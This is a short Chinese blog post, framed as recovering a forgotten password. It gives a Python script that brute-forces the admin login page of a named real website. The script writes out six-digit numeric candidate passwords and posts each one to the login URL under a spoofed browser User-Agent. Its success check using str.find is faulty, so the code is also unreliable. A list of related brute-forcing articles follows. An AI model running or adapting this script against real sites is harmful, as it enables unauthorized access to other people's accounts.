忘记秘密利用python模拟登录暴力破解秘密
2019-04-28 19:02
716 查看
忘记秘密利用python模拟登录暴力破解秘密:
#encoding=utf-8 import itertools import string import requests def gen_pwd_file(file="pwd_file.txt"): """ 生成候选密码文件,可以网上直接下载一个或自己直接写 """ # words = string.digits+string.letters words = '0123456789' pwd_iter = itertools.product(words, repeat=6) cnt = 1 with open(file, 'a') as fw: for pwd in pwd_iter: fw.write("".join(pwd)+'\n') cnt += 1 if cnt%5000: print cnt,'done' if cnt>500000: break def get_quaigo_pwd(login_url='http://www.quaigo.com/Admin/Public/login/login.php', username="test", pwd_file='pwd_file.txt'): """ 模拟登录 """ #请求的URL地址 LOGIN_URL = 'http://www.quaigo.com/Admin/Public/login/login.php' #模拟登陆的浏览器 HEADERS = {'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36'} cnt = 1 with open(pwd_file) as fr: for line in fr: pwd = line.strip() DATA = {"username":username, "password": pwd} #登录系统的账号密码,也是我们请求数据 res = requests.post(LOGIN_URL, data=DATA, headers=HEADERS) #模拟登陆操作 print(cnt) cnt += 1 if res.text.find(u"密码错误"): print(res) continue else: print(line) break # 生成密码文件 gen_pwd_file() # 逐个密码尝试登录 get_quaigo_pwd(login_url='http://www.quaigo.com/Admin/Public/login/login.php')
相关文章推荐
- [漏洞利用]某站点登录接口暴力破解脚本
- 利用python打造自己的ftp暴力破解工具
- python 爬虫 利用selenium模拟登录帐号 向requests中重设 cookie
- python 利用浏览器 Cookie 模拟登录的用户访问知乎
- 利用python打造自己的ftp暴力破解工具
- 忘记ftp密码使用python ftplib库暴力破解密码的方法示例
- 利用python模拟登录
- 利用Teensy进行EM410x卡模拟以及暴力破解EM410X类门禁系统可行性猜想
- 利用python打造自己的ftp暴力破解工具
- 利用Python暴力破解zip,PDF等一切加密文件!原理真的很简单!
- 利用brupsuite或python 破解登录账号与密码
- python---模拟用户正常登录系统,破解用户名与登录密码
- 利用Python暴力破解zip文件口令的方法详解
- 忘记ftp密码使用python ftplib库暴力破解密码的方法示例
- 如何利用python模拟登录(附源码)
- 利用python暴力破解ssh
- [python 爬虫学习]利用cookie模拟网站登录
- Python脚本暴力破解web登录
- 利用Teensy进行em410x卡模拟以及暴力破解em410x类门禁系统